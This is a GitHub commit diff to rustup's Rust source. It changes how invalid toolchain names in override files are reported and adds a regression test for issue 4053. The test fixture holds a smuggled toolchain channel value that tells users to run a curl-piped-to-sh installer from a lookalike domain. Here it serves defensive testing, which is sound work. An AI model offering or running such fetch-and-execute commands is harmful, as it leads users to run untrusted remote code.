File tree Expand file tree Collapse file tree 2 files changed +36
-2
lines changed Expand file tree Collapse file tree 2 files changed +36
-2
lines changed Original file line number Diff line number Diff line change @@ -619,7 +619,13 @@ impl<'a> Cfg<'a> {
619
619
}
620
620
} ) ?;
621
621
if let Some ( toolchain_name_str) = & override_file. toolchain . channel {
622
- let toolchain_name = ResolvableToolchainName :: try_from ( toolchain_name_str) ?;
622
+ let toolchain_name = ResolvableToolchainName :: try_from ( toolchain_name_str)
623
+ . map_err ( |_| {
624
+ anyhow ! (
625
+ "invalid toolchain name detected in override file '{}'" ,
626
+ toolchain_file. display( )
627
+ )
628
+ } ) ?;
623
629
let default_host_triple = get_default_host_triple ( settings, self . process ) ;
624
630
// Do not permit architecture/os selection in channels as
625
631
// these are host specific and toolchain files are portable.
Original file line number Diff line number Diff line change @@ -2500,7 +2500,35 @@ async fn bad_file_override() {
2500
2500
raw:: write_file ( & toolchain_file, "none" ) . unwrap ( ) ;
2501
2501
2502
2502
cx. config
2503
- . expect_err ( & [ "rustc" , "--version" ] , "invalid toolchain name 'none'" )
2503
+ . expect_err (
2504
+ & [ "rustc" , "--version" ] ,
2505
+ "invalid toolchain name detected in override file" ,
2506
+ )
2507
+ . await ;
2508
+ }
2509
+
2510
+ // https://github.com/rust-lang/rustup/issues/4053
2511
+ #[ tokio:: test]
2512
+ async fn bad_file_override_with_manip ( ) {
2513
+ let cx = CliTestContext :: new ( Scenario :: None ) . await ;
2514
+ let cwd = cx. config . current_dir ( ) ;
2515
+ let toolchain_file = cwd. join ( "rust-toolchain.toml" ) ;
2516
+ raw:: write_file (
2517
+ & toolchain_file,
2518
+ r#"toolchain.channel = "nightly', please install with 'curl --proto '=https' --tlsv1.2 -sSf https://sh.rust-toolchain.rs/ | sh -s -- --default-toolchain nightly -y""# ,
2519
+ ) . unwrap ( ) ;
2520
+
2521
+ cx. config
2522
+ . expect_err (
2523
+ & [ "rustup" , "show" , "active-toolchain" ] ,
2524
+ "invalid toolchain name detected in override file" ,
2525
+ )
2526
+ . await ;
2527
+ cx. config
2528
+ . expect_err (
2529
+ & [ "rustc" , "--version" ] ,
2530
+ "invalid toolchain name detected in override file" ,
2531
+ )
2504
2532
. await ;
2505
2533
}
2506
2534
You can’t perform that action at this time.
0 commit comments